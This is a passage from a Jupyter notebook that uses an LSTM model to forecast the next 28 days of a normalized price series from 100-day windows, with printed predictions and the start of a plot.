0.12441553 0.12827811 0.11547062 0.12034966 0.13478349 0.13498679\n", + " 0.12868469 0.13295385 0.12807481 0.12624517 0.13051433 0.13905265\n", + " 0.14718439 0.15104696 0.14515145 0.14311852 0.15816223 0.15328319\n", + " 0.14921732 0.15531612 0.15917869 0.15938199 0.16344786 0.16536452\n", + " 0.16787291 0.17017089 0.17237605 0.17453894 0.17667189 0.17877619\n", + " 0.180852 0.18289991 0.18492067 0.18691507 0.18888383 0.19082795\n", + " 0.19274837 0.19464624 0.19652267 0.1983788 ]\n", + "17 day output [[0.20021565]]\n", + "18 day input [0.19129904 0.20817239 0.20309006 0.18479366 0.17930474 0.1896727\n", + " 0.17483228 0.17849156 0.17645863 0.18540354 0.18377719 0.19190892\n", + " 0.18987599 0.19028258 0.19394186 0.20004066 0.19638138 0.19495832\n", + " 0.20349665 0.19597479 0.21162838 0.22036999 0.20979874 0.21528766\n", + " 0.21589754 0.21610083 0.22748526 0.19150234 0.1833706 0.17340923\n", + " 0.16751372 0.1622281 0.17056312 0.17462899 0.17930474 0.18174426\n", + " 0.16853019 0.16548079 0.1742224 0.1713763 0.17300264 0.17157959\n", + " 0.17767839 0.18459036 0.18702988 0.18987599 0.19109575 0.18581012\n", + " 0.17015654 0.16751372 0.16974995 0.16609067 0.15531612 0.15003049\n", + " 0.15064037 0.14860744 0.14596463 0.15043708 0.14413499 0.12441553\n", + " 0.12827811 0.11547062 0.12034966 0.13478349 0.13498679 0.12868469\n", + " 0.13295385 0.12807481 0.12624517 0.13051433 0.13905265 0.14718439\n", + " 0.15104696 0.14515145 0.14311852 0.15816223 0.15328319 0.14921732\n", + " 0.15531612 0.15917869 0.15938199 0.16344786 0.16536452 0.16787291\n", + " 0.17017089 0.17237605 0.17453894 0.17667189 0.17877619 0.180852\n", + " 0.18289991 0.18492067 0.18691507 0.18888383 0.19082795 0.19274837\n", + " 0.19464624 0.19652267 0.1983788 0.20021565]\n", + "18 day output [[0.20203416]]\n", + "19 day input [0.20817239 0.20309006 0.18479366 0.17930474 0.1896727 0.17483228\n", + " 0.17849156 0.17645863 0.18540354 0.18377719 0.19190892 0.18987599\n", + " 0.19028258 0.19394186 0.20004066 0.19638138 0.19495832 0.20349665\n", + " 0.19597479 0.21162838 0.22036999 0.20979874 0.21528766 0.21589754\n", + " 0.21610083 0.22748526 0.19150234 0.1833706 0.17340923 0.16751372\n", + " 0.1622281 0.17056312 0.17462899 0.17930474 0.18174426 0.16853019\n", + " 0.16548079 0.1742224 0.1713763 0.17300264 0.17157959 0.17767839\n", + " 0.18459036 0.18702988 0.18987599 0.19109575 0.18581012 0.17015654\n", + " 0.16751372 0.16974995 0.16609067 0.15531612 0.15003049 0.15064037\n", + " 0.14860744 0.14596463 0.15043708 0.14413499 0.12441553 0.12827811\n", + " 0.11547062 0.12034966 0.13478349 0.13498679 0.12868469 0.13295385\n", + " 0.12807481 0.12624517 0.13051433 0.13905265 0.14718439 0.15104696\n", + " 0.14515145 0.14311852 0.15816223 0.15328319 0.14921732 0.15531612\n", + " 0.15917869 0.15938199 0.16344786 0.16536452 0.16787291 0.17017089\n", + " 0.17237605 0.17453894 0.17667189 0.17877619 0.180852 0.18289991\n", + " 0.18492067 0.18691507 0.18888383 0.19082795 0.19274837 0.19464624\n", + " 0.19652267 0.1983788 0.20021565 0.20203416]\n", + "19 day output [[0.20383513]]\n", + "20 day input [0.20309006 0.18479366 0.17930474 0.1896727 0.17483228 0.17849156\n", + " 0.17645863 0.18540354 0.18377719 0.19190892 0.18987599 0.19028258\n", + " 0.19394186 0.20004066 0.19638138 0.19495832 0.20349665 0.19597479\n", + " 0.21162838 0.22036999 0.20979874 0.21528766 0.21589754 0.21610083\n", + " 0.22748526 0.19150234 0.1833706 0.17340923 0.16751372 0.1622281\n", + " 0.17056312 0.17462899 0.17930474 0.18174426 0.16853019 0.16548079\n", + " 0.1742224 0.1713763 0.17300264 0.17157959 0.17767839 0.18459036\n", + " 0.18702988 0.18987599 0.19109575 0.18581012 0.17015654 0.16751372\n", + " 0.16974995 0.16609067 0.15531612 0.15003049 0.15064037 0.14860744\n", + " 0.14596463 0.15043708 0.14413499 0.12441553 0.12827811 0.11547062\n", + " 0.12034966 0.13478349 0.13498679 0.12868469 0.13295385 0.12807481\n", + " 0.12624517 0.13051433 0.13905265 0.14718439 0.15104696 0.14515145\n", + " 0.14311852 0.15816223 0.15328319 0.14921732 0.15531612 0.15917869\n", + " 0.15938199 0.16344786 0.16536452 0.16787291 0.17017089 0.17237605\n", + " 0.17453894 0.17667189 0.17877619 0.180852 0.18289991 0.18492067\n", + " 0.18691507 0.18888383 0.19082795 0.19274837 0.19464624 0.19652267\n", + " 0.1983788 0.20021565 0.20203416 0.20383513]\n", + "20 day output [[0.20561932]]\n", + "21 day input [0.18479366 0.17930474 0.1896727 0.17483228 0.17849156 0.17645863\n", + " 0.18540354 0.18377719 0.19190892 0.18987599 0.19028258 0.19394186\n", + " 0.20004066 0.19638138 0.19495832 0.20349665 0.19597479 0.21162838\n", + " 0.22036999 0.20979874 0.21528766 0.21589754 0.21610083 0.22748526\n", + " 0.19150234 0.1833706 0.17340923 0.16751372 0.1622281 0.17056312\n", + " 0.17462899 0.17930474 0.18174426 0.16853019 0.16548079 0.1742224\n", + " 0.1713763 0.17300264 0.17157959 0.17767839 0.18459036 0.18702988\n", + " 0.18987599 0.19109575 0.18581012 0.17015654 0.16751372 0.16974995\n", + " 0.16609067 0.15531612 0.15003049 0.15064037 0.14860744 0.14596463\n", + " 0.15043708 0.14413499 0.12441553 0.12827811 0.11547062 0.12034966\n", + " 0.13478349 0.13498679 0.12868469 0.13295385 0.12807481 0.12624517\n", + " 0.13051433 0.13905265 0.14718439 0.15104696 0.14515145 0.14311852\n", + " 0.15816223 0.15328319 0.14921732 0.15531612 0.15917869 0.15938199\n", + " 0.16344786 0.16536452 0.16787291 0.17017089 0.17237605 0.17453894\n", + " 0.17667189 0.17877619 0.180852 0.18289991 0.18492067 0.18691507\n", + " 0.18888383 0.19082795 0.19274837 0.19464624 0.19652267 0.1983788\n", + " 0.20021565 0.20203416 0.20383513 0.20561932]\n", + "21 day output [[0.20738736]]\n", + "22 day input [0.17930474 0.1896727 0.17483228 0.17849156 0.17645863 0.18540354\n", + " 0.18377719 0.19190892 0.18987599 0.19028258 0.19394186 0.20004066\n", + " 0.19638138 0.19495832 0.20349665 0.19597479 0.21162838 0.22036999\n", + " 0.20979874 0.21528766 0.21589754 0.21610083 0.22748526 0.19150234\n", + " 0.1833706 0.17340923 0.16751372 0.1622281 0.17056312 0.17462899\n", + " 0.17930474 0.18174426 0.16853019 0.16548079 0.1742224 0.1713763\n", + " 0.17300264 0.17157959 0.17767839 0.18459036 0.18702988 0.18987599\n", + " 0.19109575 0.18581012 0.17015654 0.16751372 0.16974995 0.16609067\n", + " 0.15531612 0.15003049 0.15064037 0.14860744 0.14596463 0.15043708\n", + " 0.14413499 0.12441553 0.12827811 0.11547062 0.12034966 0.13478349\n", + " 0.13498679 0.12868469 0.13295385 0.12807481 0.12624517 0.13051433\n", + " 0.13905265 0.14718439 0.15104696 0.14515145 0.14311852 0.15816223\n", + " 0.15328319 0.14921732 0.15531612 0.15917869 0.15938199 0.16344786\n", + " 0.16536452 0.16787291 0.17017089 0.17237605 0.17453894 0.17667189\n", + " 0.17877619 0.180852 0.18289991 0.18492067 0.18691507 0.18888383\n", + " 0.19082795 0.19274837 0.19464624 0.19652267 0.1983788 0.20021565\n", + " 0.20203416 0.20383513 0.20561932 0.20738736]\n", + "22 day output [[0.20913981]]\n", + "23 day input [0.1896727 0.17483228 0.17849156 0.17645863 0.18540354 0.18377719\n", + " 0.19190892 0.18987599 0.19028258 0.19394186 0.20004066 0.19638138\n", + " 0.19495832 0.20349665 0.19597479 0.21162838 0.22036999 0.20979874\n", + " 0.21528766 0.21589754 0.21610083 0.22748526 0.19150234 0.1833706\n", + " 0.17340923 0.16751372 0.1622281 0.17056312 0.17462899 0.17930474\n", + " 0.18174426 0.16853019 0.16548079 0.1742224 0.1713763 0.17300264\n", + " 0.17157959 0.17767839 0.18459036 0.18702988 0.18987599 0.19109575\n", + " 0.18581012 0.17015654 0.16751372 0.16974995 0.16609067 0.15531612\n", + " 0.15003049 0.15064037 0.14860744 0.14596463 0.15043708 0.14413499\n", + " 0.12441553 0.12827811 0.11547062 0.12034966 0.13478349 0.13498679\n", + " 0.12868469 0.13295385 0.12807481 0.12624517 0.13051433 0.13905265\n", + " 0.14718439 0.15104696 0.14515145 0.14311852 0.15816223 0.15328319\n", + " 0.14921732 0.15531612 0.15917869 0.15938199 0.16344786 0.16536452\n", + " 0.16787291 0.17017089 0.17237605 0.17453894 0.17667189 0.17877619\n", + " 0.180852 0.18289991 0.18492067 0.18691507 0.18888383 0.19082795\n", + " 0.19274837 0.19464624 0.19652267 0.1983788 0.20021565 0.20203416\n", + " 0.20383513 0.20561932 0.20738736 0.20913981]\n", + "23 day output [[0.2108771]]\n", + "24 day input [0.17483228 0.17849156 0.17645863 0.18540354 0.18377719 0.19190892\n", + " 0.18987599 0.19028258 0.19394186 0.20004066 0.19638138 0.19495832\n", + " 0.20349665 0.19597479 0.21162838 0.22036999 0.20979874 0.21528766\n", + " 0.21589754 0.21610083 0.22748526 0.19150234 0.1833706 0.17340923\n", + " 0.16751372 0.1622281 0.17056312 0.17462899 0.17930474 0.18174426\n", + " 0.16853019 0.16548079 0.1742224 0.1713763 0.17300264 0.17157959\n", + " 0.17767839 0.18459036 0.18702988 0.18987599 0.19109575 0.18581012\n", + " 0.17015654 0.16751372 0.16974995 0.16609067 0.15531612 0.15003049\n", + " 0.15064037 0.14860744 0.14596463 0.15043708 0.14413499 0.12441553\n", + " 0.12827811 0.11547062 0.12034966 0.13478349 0.13498679 0.12868469\n", + " 0.13295385 0.12807481 0.12624517 0.13051433 0.13905265 0.14718439\n", + " 0.15104696 0.14515145 0.14311852 0.15816223 0.15328319 0.14921732\n", + " 0.15531612 0.15917869 0.15938199 0.16344786 0.16536452 0.16787291\n", + " 0.17017089 0.17237605 0.17453894 0.17667189 0.17877619 0.180852\n", + " 0.18289991 0.18492067 0.18691507 0.18888383 0.19082795 0.19274837\n", + " 0.19464624 0.19652267 0.1983788 0.20021565 0.20203416 0.20383513\n", + " 0.20561932 0.20738736 0.20913981 0.21087711]\n", + "24 day output [[0.21259975]]\n", + "25 day input [0.17849156 0.17645863 0.18540354 0.18377719 0.19190892 0.18987599\n", + " 0.19028258 0.19394186 0.20004066 0.19638138 0.19495832 0.20349665\n", + " 0.19597479 0.21162838 0.22036999 0.20979874 0.21528766 0.21589754\n", + " 0.21610083 0.22748526 0.19150234 0.1833706 0.17340923 0.16751372\n", + " 0.1622281 0.17056312 0.17462899 0.17930474 0.18174426 0.16853019\n", + " 0.16548079 0.1742224 0.1713763 0.17300264 0.17157959 0.17767839\n", + " 0.18459036 0.18702988 0.18987599 0.19109575 0.18581012 0.17015654\n", + " 0.16751372 0.16974995 0.16609067 0.15531612 0.15003049 0.15064037\n", + " 0.14860744 0.14596463 0.15043708 0.14413499 0.12441553 0.12827811\n", + " 0.11547062 0.12034966 0.13478349 0.13498679 0.12868469 0.13295385\n", + " 0.12807481 0.12624517 0.13051433 0.13905265 0.14718439 0.15104696\n", + " 0.14515145 0.14311852 0.15816223 0.15328319 0.14921732 0.15531612\n", + " 0.15917869 0.15938199 0.16344786 0.16536452 0.16787291 0.17017089\n", + " 0.17237605 0.17453894 0.17667189 0.17877619 0.180852 0.18289991\n", + " 0.18492067 0.18691507 0.18888383 0.19082795 0.19274837 0.19464624\n", + " 0.19652267 0.1983788 0.20021565 0.20203416 0.20383513 0.20561932\n", + " 0.20738736 0.20913981 0.21087711 0.21259975]\n", + "25 day output [[0.21430814]]\n", + "26 day input [0.17645863 0.18540354 0.18377719 0.19190892 0.18987599 0.19028258\n", + " 0.19394186 0.20004066 0.19638138 0.19495832 0.20349665 0.19597479\n", + " 0.21162838 0.22036999 0.20979874 0.21528766 0.21589754 0.21610083\n", + " 0.22748526 0.19150234 0.1833706 0.17340923 0.16751372 0.1622281\n", + " 0.17056312 0.17462899 0.17930474 0.18174426 0.16853019 0.16548079\n", + " 0.1742224 0.1713763 0.17300264 0.17157959 0.17767839 0.18459036\n", + " 0.18702988 0.18987599 0.19109575 0.18581012 0.17015654 0.16751372\n", + " 0.16974995 0.16609067 0.15531612 0.15003049 0.15064037 0.14860744\n", + " 0.14596463 0.15043708 0.14413499 0.12441553 0.12827811 0.11547062\n", + " 0.12034966 0.13478349 0.13498679 0.12868469 0.13295385 0.12807481\n", + " 0.12624517 0.13051433 0.13905265 0.14718439 0.15104696 0.14515145\n", + " 0.14311852 0.15816223 0.15328319 0.14921732 0.15531612 0.15917869\n", + " 0.15938199 0.16344786 0.16536452 0.16787291 0.17017089 0.17237605\n", + " 0.17453894 0.17667189 0.17877619 0.180852 0.18289991 0.18492067\n", + " 0.18691507 0.18888383 0.19082795 0.19274837 0.19464624 0.19652267\n", + " 0.1983788 0.20021565 0.20203416 0.20383513 0.20561932 0.20738736\n", + " 0.20913981 0.21087711 0.21259975 0.21430814]\n", + "26 day output [[0.2160026]]\n", + "27 day input [0.18540354 0.18377719 0.19190892 0.18987599 0.19028258 0.19394186\n", + " 0.20004066 0.19638138 0.19495832 0.20349665 0.19597479 0.21162838\n", + " 0.22036999 0.20979874 0.21528766 0.21589754 0.21610083 0.22748526\n", + " 0.19150234 0.1833706 0.17340923 0.16751372 0.1622281 0.17056312\n", + " 0.17462899 0.17930474 0.18174426 0.16853019 0.16548079 0.1742224\n", + " 0.1713763 0.17300264 0.17157959 0.17767839 0.18459036 0.18702988\n", + " 0.18987599 0.19109575 0.18581012 0.17015654 0.16751372 0.16974995\n", + " 0.16609067 0.15531612 0.15003049 0.15064037 0.14860744 0.14596463\n", + " 0.15043708 0.14413499 0.12441553 0.12827811 0.11547062 0.12034966\n", + " 0.13478349 0.13498679 0.12868469 0.13295385 0.12807481 0.12624517\n", + " 0.13051433 0.13905265 0.14718439 0.15104696 0.14515145 0.14311852\n", + " 0.15816223 0.15328319 0.14921732 0.15531612 0.15917869 0.15938199\n", + " 0.16344786 0.16536452 0.16787291 0.17017089 0.17237605 0.17453894\n", + " 0.17667189 0.17877619 0.180852 0.18289991 0.18492067 0.18691507\n", + " 0.18888383 0.19082795 0.19274837 0.19464624 0.19652267 0.1983788\n", + " 0.20021565 0.20203416 0.20383513 0.20561932 0.20738736 0.20913981\n", + " 0.21087711 0.21259975 0.21430814 0.2160026 ]\n", + "27 day output [[0.21768355]]\n", + "[[0.16536451876163483], [0.16787290573120117], [0.1701708883047104], [0.17237605154514313], [0.17453894019126892], [0.17667189240455627], [0.17877618968486786], [0.1808519959449768], [0.18289990723133087], [0.18492066860198975], [0.1869150698184967], [0.18888382613658905], [0.19082795083522797], [0.19274836778640747], [0.19464623928070068], [0.19652266800403595], [0.1983788013458252], [0.2002156525850296], [0.20203416049480438], [0.203835129737854], [0.20561932027339935], [0.20738735795021057], [0.20913980901241302], [0.21087710559368134], [0.2125997543334961], [0.21430814266204834], [0.21600259840488434], [0.2176835536956787]]\n" + ] + } + ], + "source": [ + "temp_input = list(x_input)\n", + "temp_input = temp_input[0].tolist()\n", + "\n", + "lst_output=[]\n", + "n_steps=100\n", + "nextNumberOfDays = 28\n", + "i=0\n", + "\n", + "while(i100):\n", + " x_input=np.array(temp_input[1:])\n", + " print(\"{} day input {}\".format(i,x_input))\n", + " x_input=x_input.reshape(1,-1)\n", + " x_input = x_input.reshape((1, n_steps, 1))\n", + " yhat = model.predict(x_input, verbose=0)\n", + " print(\"{} day output {}\".format(i,yhat))\n", + " temp_input.extend(yhat[0].tolist())\n", + " temp_input=temp_input[1:]\n", + " lst_output.extend(yhat.tolist())\n", + " i=i+1\n", + " else:\n", + " x_input = x_input.reshape((1, n_steps,1))\n", + " yhat = model.predict(x_input, verbose=0)\n", + " print(yhat[0])\n", + " temp_input.extend(yhat[0].tolist())\n", + " print(len(temp_input))\n", + " lst_output.extend(yhat.tolist())\n", + " i=i+1\n", + " \n", + "\n", + "print(lst_output)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "OG0n_yXDPWNQ" + }, + "outputs": [], + "source": [ + "day_new = np.arange(1,101)\n", + "day_pred = np.arange(101,129)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "crx3gmtHPWSm", + "outputId": "817ed5d3-86e1-4467-9027-c480f281333f" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "(100,)" + ] + }, + "execution_count": 40, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "day_new.shape" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "0JeMhKxfPWXc", + "outputId": "be5e2267-5a8c-4e48-cc09-35ca2755afe5" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "(28,)" + ] + }, + "execution_count": 41, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "day_pred.shape" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "FkIESGdOPvMo", + "outputId": "9d591434-5664-4469-a7e7-d26e22d16071" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "2035" + ] + }, + "execution_count": 42, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "ds3 = df_high.tolist()\n", + "ds3.extend(lst_output)\n", + "len(df_high)" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "kahnKfbOQXCE" + }, + "source": [ + "**Graph of actual values in last 100 days**" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 377 + }, + "id": "RYKgCe1wPwAG", + "outputId": "c5dc3e7f-82c1-4847-e723-083ef1ed8de0" + }, + "outputs": [ + { + "data": { + "image/png": "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